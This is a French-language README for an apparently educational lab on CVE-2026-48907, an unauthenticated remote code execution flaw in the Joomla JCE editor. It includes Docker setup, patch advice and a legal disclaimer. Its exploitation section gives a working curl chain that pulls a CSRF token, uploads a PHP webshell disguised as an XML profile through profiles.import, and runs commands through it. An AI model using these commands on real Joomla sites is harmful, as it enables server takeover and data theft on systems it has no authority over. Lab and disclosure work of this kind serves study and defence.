CVE-2026-48907 — Laboratoire RCE non authentifié Joomla JCE

PSsec Laboratoire de recherche en sécurité éducative pour CVE-2026-48907.

Aperçu

CVE-2026-48907 est une vulnérabilité critique (CVSS 10.0) d'exécution de code à distance non authentifiée dans JCE (Joomla Content Editor), l'extension d'éditeur la plus installée sur Joomla, affectant toutes les versions ≤ 2.9.99.4.

Le point de terminaison profiles.import accepte les téléchargements de fichiers sans aucune authentification. Un attaquant peut télécharger un fichier PHP malveillant déguisé en profil XML, qui est écrit dans le répertoire tmp/ du serveur et exécuté directement via HTTP — aucune information d'identification requise.

Configuration du laboratoire

Prérequis

• Docker + Docker Compose
• Kali Linux (ou tout hôte Linux)

1. Démarrer l'environnement vulnérable

docker compose up -d

2. Terminer l'installateur Joomla

Ouvrez http://localhost:8080 dans votre navigateur et terminez l'assistant d'installation en utilisant ces identifiants :

3. Installer l'extension JCE vulnérable

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Ensuite, dans l'administration Joomla → Système → Extensions → Installer → téléversez le ZIP.

Exploitation

4. Extraire le jeton CSRF et le cookie de session

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Téléverser une webshell PHP via l'import de profil non authentifié

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Vérifier l'exécution de code à distance

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Sortie attendue : uid=33(www-data) gid=33(www-data)

Fichiers

Correction

Mettez à jour JCE vers la version 2.9.99.5 ou ultérieure immédiatement.

Avis officiel du fournisseur et correctif gratuit pour les anciennes versions de Joomla : JCE Security Update — joomlacontenteditor.net

Crédits

• Référence de l'outil d'exploitation : JoomlaSniper par ynsmroztas
• Vulnérabilité découverte dans la nature par Phil Taylor de mySites.guru
• Liste CISA KEV : 16 juin 2026

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée.

Les tests ne doivent être effectués que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester. L'utilisation non autorisée de ce contenu contre des systèmes que vous ne possédez pas est illégale et contraire à l'éthique. Les auteurs et Pansophical OU déclinent toute responsabilité en cas d'utilisation abusive de ce contenu.

Cet environnement de laboratoire est intentionnellement vulnérable. Ne l'exposez pas à Internet ou à tout réseau non fiable.

Par PSsec